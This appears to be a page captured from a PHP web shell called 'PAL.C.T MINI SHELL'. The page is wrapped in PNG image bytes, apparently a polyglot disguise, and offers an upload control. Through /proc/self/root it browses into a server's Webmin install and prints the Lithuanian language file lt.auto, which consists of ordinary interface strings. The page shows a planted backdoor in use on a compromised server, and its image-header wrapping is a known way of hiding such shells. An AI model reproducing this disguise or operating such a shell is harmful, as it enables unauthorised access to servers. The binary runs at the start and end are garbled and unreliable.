php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/lang/lt.auto

main_title3=„Webmin“ $1 ($2)
main_readonly=(Tik skaitymo režimas)
main_unused=Nenaudojami moduliai
main_refreshmods=Atnaujinkite modulius

link_essl=„Net::SSLeay Perl“ modulis, reikalingas HTTPS ryšiams užmegzti, jūsų sistemoje neįdiegtas.

category_=Įrankiai

longcategory_servers=Tinklo, el. Pašto, FTP ir kitų serverių konfigūravimo moduliai
longcategory_hardware=Spausdintuvo, disko ir kitos aparatinės įrangos konfigūravimo moduliai
longcategory_system=Moduliai vartotojams, failų sistemos, „Cron“ darbai ir kiti sistemos parametrai
longcategory_webmin=Paties „Webmin“ konfigūravimo moduliai
longcategory_net=Tinklo ir tinklo paslaugų konfigūravimo moduliai
longcategory_cluster=Moduliai, galintys valdyti kelis serverius iš vienos sąsajos
longcategory_info=Moduliai, rodantys informaciją apie jūsų sistemą
longcategory_=Moduliai, atliekantys kitas įvairias užduotis

error_previous=Ankstesnis puslapis
error_stack=Skambinkite „Stack Trace“
error_file=Byla
error_line=Linija
error_sub=Funkcija
error_stackline=Faile $1 eilutėje $2 skambinant $3
efileclose=Nepavyko parašyti $1 uždarant : $2
efileopen=Nepavyko atidaryti $1 rašymui : $2
fail=Nepavyko
euserdbacl=Nepavyko gauti vartotojo ACL : $1
euserdbacl2=Nepavyko atnaujinti vartotojo ACL : $1
egroupdbacl=Nepavyko gauti grupės ACL : $1
egroupdbacl2=Nepavyko atnaujinti grupės ACL : $1

chooser_date=Pasirinkite datą
chooser_eopen=Įrašyti nepavyko : $1

modules_title1=Pasirinkite modulius ..
modules_title2=Pasirinkite modulį ..
modules_sel=Pasirinkti moduliai
modules_all=Visi moduliai
modules_ok=Gerai
modules_cancel=Atšaukti
modules_clear=Aišku

config_emodule=Modulio nėra
config_ewebmin=14 parametrų tipas veikia tik „Webmin“

referer_fix1=If this is a legitimate link, you can allow links from this URL as follows :<ul><li>Login to Webmin normally.</li><li>Go to the <b>Webmin Configuration</b> module.</li><li>Click on the Trusted Referrers icon.</li><li>Enter the hostname $1 into the <b>Trusted websites</b> field, and click <b>Save</b></li>.</ul>
referer_fix2=Alternately, you can configure Webmin to allow this link from the command line by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Add the line <tt>referers=$1</tt> at the end, or if a <tt>referers</tt> line already exists add <tt>$1</tt> to it.</li><li>Save the file.</li></ul>
referer_fix3u=Įsitikinkite, kad jūsų naršyklė sukonfigūruota siuntimo informacijai siųsti, kad ją galėtų patikrinti „Webmin“.
referer_fix2u=Alternately, you can configure Webmin to allow links from unknown referers by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Find the line <tt>referers_none=1</tt> and change it to <tt>referers_none=0</tt>.</li><li>Save the file.</li></ul><p></p>WARNING - this has the side effect of opening your system up to reflected XSS attacks and so is not recommended!

session_twofactor=Dviejų faktorių ženklas
session_twofailed=Dviejų veiksnių autentifikavimas nepavyko : $1

pam_header=Prisijunkite prie „Webmin“
pam_mesg=Norėdami prisijungti prie „Webmin“ serverio naudodami $1, turite atsakyti į žemiau pateiktą klausimą.
pam_mesg2=Norėdami prisijungti, turite atsakyti į žemiau pateiktą klausimą.
pam_login=Tęsti
pam_restart=Perkrauti

acl_otherdirs=Kiti matomi katalogai failų parinkiklyje
acl_nodot=Slėpti taškų failus failų parinkiklyje?
acl_feedback3=Taip, su konfigūracijos failais
acl_readonly2=Vartotojas veikia demonstraciniu režimu?
acl_readonlyyes=Taip (Kai kurie moduliai gali nebūti)
acl_negative=Suteikti vartotojui naujų modulio leidimų?
acl_fileunix=Naršykite failus kaip „Unix“ vartotojas
acl_sameunix=Tas pats, kas prisijungti prie „Webmin“
acl_webminsearch=Rodyti „Webmin“ paieškos lauką?

emodulecheck=$1 modulis jūsų sistemoje negalimas
elock_tries2=Nepavyko užrakinti failo $1 po $2 minučių. Paskutinė klaida buvo : $3

progress_size2=Atsisiunčiama $1 ($2) ..
progress_datan=Gauta $1 ($2 %)
progress_data2n=Gauta $1
progress_incache=Rasta $1 talpykloje.

readparse_cdheader=Trūksta turinio dispozicijos antraštės
readparse_enc=Laukė formos duomenų kodavimo, tačiau gavo normalų kodavimą
readparse_max=Duomenys viršijo maksimalų $1 baitų dydį

password_expired=Jūsų slaptažodžio galiojimo laikas pasibaigė, todėl reikia pasirinkti naują.
password_temp=Norėdami pakeisti laikiną prisijungimą, turite pasirinkti naują slaptažodį.
password_header=Pasirinkite Naujas slaptažodis
password_user=Vartotojo vardas
password_old=Dabartinis slaptažodis
password_new1=Naujas Slaptažodis
password_new2=Vėl naujas slaptažodis
password_ok=Keisti
password_clear=Aišku
password_done=Jūsų slaptažodis buvo sėkmingai pakeistas. Dabar galite vėl <a href='$1'>prisijungti</a> naudodami naują slaptažodį.
password_err=Nepavyko pakeisti slaptažodžio
password_euser=Slaptažodžio faile nerastas jūsų prisijungimo vardas!
password_eold=Dabartinis slaptažodis neteisingas
password_enew1=Neįvestas naujas slaptažodis
password_enew2=Nauji slaptažodžiai nesutampa
password_epam=PAM klaida : $1
password_emodpam=„Authen::PAM perl“ modulis, reikalingas slaptažodžio pakeitimams, neįdiegtas!
password_enewpass=Naujas slaptažodis neleidžiamas : $1

ui_mandatory=Šis laukas yra privalomas
ui_checkmandatory=Nieko nebuvo pasirinkta
ui_errors=Rastos kelios klaidos :
ui_nothing=Niekas neįėjo
ui_searchcol=Raskite eiles kur
ui_searchfor=Sudėtyje yra tekstas
ui_searchok=Paieška
ui_selall=Pasirinkti viską.
ui_selinv=Apverskite pasirinkimą.
ui_edate=Neteisinga data
ui_etime=Neteisingas laikas
ui_paging=Rodomos eilutės $1 į $2 iš $3
ui_rowlabel=$2 eilutėje $1 :
ui_filterbox=Įveskite filtrą ..

header_statusmsg=$1 prisijungęs prie $2 $3 $4 ($5)

uptracker_title=Įkeliamas failas
uptracker_file=Failo pavadinimas
uptracker_size=Dydis
uptracker_pc=Progresas
uptracker_eid=Nenurodytas įkėlimo ID
uptracker_eid2=Įkėlimo ID neteisingas!
uptracker_of=$1 iš $2

wsearch_title=Ieškokite $1
wsearch_modt=Modulis
wsearch_mtitle=Modulio pavadinimas
wsearch_what=Atitikimo puslapis
wsearch_type=Atitikties tipas
wsearch_mod=$1 modulis
wsearch_config_webmin=„Webmin“ modulio konfigūracija
wsearch_config_usermin=„Usermin“ nuostatos
wsearch_help=Pagalbos puslapis
wsearch_inmod=$1
wsearch_text=Vartotojo sąsajos tekstas
wsearch_esearch=Nieko neieškojo.
wsearch_enone=Nerasta jokių „Webmin“ modulių ar puslapių, atitinkančių $1.
wsearch_on=($1)
wsearch_helpfor=Pagalba <i>$1</i>
wsearch_htext=Atitinkantis tekstas
wsearch_htype=Šaltinis
wsearch_hcgis=Nuorodos
wsearch_type_mod=Modulio pavadinimas
wsearch_type_config=Konfigūracija
wsearch_type_help=Pagalbos puslapis
wsearch_type_text=Vartotojo sąsaja
wsearch_type_dir=Modulio URL
wsearch_hmod=Modulis
wsearch_moddir=URL kelias /$1/
wsearch_searching=Ieškoma $1 ..
wsearch_found=rasti $1 rezultatai :

sql_emysqldriver=Nepavyko įkelti „MySQL DBI“ tvarkyklės
sql_emysqlconnect=Nepavyko prisijungti prie „MySQL“ duomenų bazės : $1
sql_epostgresqldriver=Nepavyko įkelti PostgreSQL DBI tvarkyklės
sql_epostgresqlconnect=Nepavyko prisijungti prie „PostgreSQL“ duomenų bazės : $1
sql_eldapdriver=Nepavyko įkelti LDAP perl modulio
sql_eldapconnect=Nepavyko prisijungti prie LDAP serverio $1
sql_eldaptls=Nepavyko pradėti LDS TLS šifravimo : $1
sql_eldaplogin=Nepavyko prisijungti prie LDAP serverio kaip $1 : $2 

log_email_subject=„Webmin“ veiksmas $1
log_email_global=„Webmin“ globalus veiksmas
log_email_desc=Šį el. Laišką „Webmin“ atsiuntė atsakydama į vartotojo veiksmus.
log_email_mod=„Webmin“ modulis: $1
log_email_moddesc=Modulio pavadinimas: $1
log_email_time=Veiksmas atliekamas: $1
log_email_system=Atliekama sistemoje: $1
log_email_user=Atlieka vartotojas: $1
log_email_script=„Webmin“ scenarijus: $1
log_email_session=Sesijos ID: $1
log_email_remote=Kliento adresas: $1

nice_size_PB=PB
nice_size_PiB=PiB
nice_size_TB=TB
nice_size_TiB=TiB
nice_size_GB=GB
nice_size_GiB=GiB
nice_size_MB=MB
nice_size_MiB=MiB
nice_size_kB=kB
nice_size_kiB=KiB
nice_size_b=baitų

langauto_include=Įtraukite mašininius vertimus

file_truncated_message=atnešė $1 duomenų, sutrumpino $2 iš $3 
file_truncated_message_head=atnešė $1 duomenų pradžią, sutrumpino $2 iš $3 
file_truncated_message_tail=parsivežta duomenų pabaigos pabaiga $1, sutrumpinta $2 iš $3 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`